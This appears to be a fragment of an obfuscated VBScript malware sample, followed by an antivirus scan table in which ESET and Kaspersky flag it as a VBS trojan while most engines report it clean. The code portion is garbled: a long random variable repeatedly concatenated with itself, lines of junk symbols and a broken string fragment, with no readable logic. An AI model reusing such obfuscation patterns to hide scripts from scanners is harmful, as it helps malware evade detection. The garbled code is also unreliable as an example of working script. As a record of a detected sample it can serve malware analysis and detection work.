JwGxEbLlGQTTymGgSRNmKaYjxfcjzEgznIAYpQlqhlIYrgJyzOryxeelQHdiCSXilvDiPnhUIpRSBUGvFGTFweBtpycABAyBwOaJthaIsrscMjJyxPzvHGVFcYIFFIAPTUrodJphUfqmboQeKQOCyWaLfGUozSZCHHboMxBmdHOlnjSncoemPzUTTZuurzNQEIBkPVsW = JwGxEbLlGQTTymGgSRNmKaYjxfcjzEgznIAYpQlqhlIYrgJyzOryxeelQHdiCSXilvDiPnhUIpRSBUGvFGTFweBtpycABAyBwOaJthaIsrscMjJyxPzvHGVFcYIFFIAPTUrodJphUfqmboQeKQOCyWaLfGUozSZCHHboMxBmdHOlnjSncoemPzUTTZuurzNQEIBkPVsW & "

}((*(}

(@}(#@

44}+}4+@@}*(

@4*4(}@

@}(]^}

*@#@@4

@}]:]:]4*

:}:}@}}

(@::(@^

}(4}*@

JwGxEbLlGQTTymGgSRNmKaYjxfcjzEgznIAYpQlqhlIYrgJyzOryxeelQHdiCSXilvDiPnhUIpRSBUGvFGTFweBtpycABAyBwOaJthaIsrscMjJyxPzvHGVFcYIFFIAPTUrodJphUfqmboQeKQOCyWaLfGUozSZCHHboMxBmdHOlnjSncoemPzUTTZuurzNQEIBkPVsW = JwGxEbLlGQTTymGgSRNmKaYjxfcjzEgznIAYpQlqhlIYrgJyzOryxeelQHdiCSXilvDiPnhUIpRSBUGvFGTFweBtpycABAyBwOaJthaIsrscMjJyxPzvHGVFcYIFFIAPTUrodJphUfqmboQeKQOCyWaLfGUozSZCHHboMxBmdHOlnjSncoemPzUTTZuurzNQEIBkPVsW & "ring( $c"

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

Antivirus	Signature
Bkav	Clean
Lionic	Clean
MicroWorld-eScan	Clean
FireEye	Clean
CAT-QuickHeal	Clean
ALYac	Clean
Malwarebytes	Clean
VIPRE	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
Arcabit	Clean
BitDefenderTheta	Clean
VirIT	Clean
Cyren	Clean
Symantec	Clean
ESET-NOD32	VBS/Kryptik.TZ
TrendMicro-HouseCall	Clean
Avast	Clean
Cynet	Clean
Kaspersky	HEUR:Trojan.VBS.SAgent.gen
BitDefender	Clean
NANO-Antivirus	Clean
ViRobot	Clean
Rising	Clean
Sophos	Clean
Baidu	Clean
F-Secure	Clean
DrWeb	Clean
Zillya	Clean
TrendMicro	Clean
McAfee-GW-Edition	Clean
CMC	Clean
Emsisoft	Clean
Jiangmin	Clean
Avira	Clean
MAX	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Microsoft	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	Clean
GData	Clean
Google	Clean
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
TACHYON	Clean
VBA32	Clean
Zoner	Clean
Tencent	Clean
Yandex	Clean
Ikarus	Clean
MaxSecure	Clean
Fortinet	Clean
AVG	Clean
Panda	Clean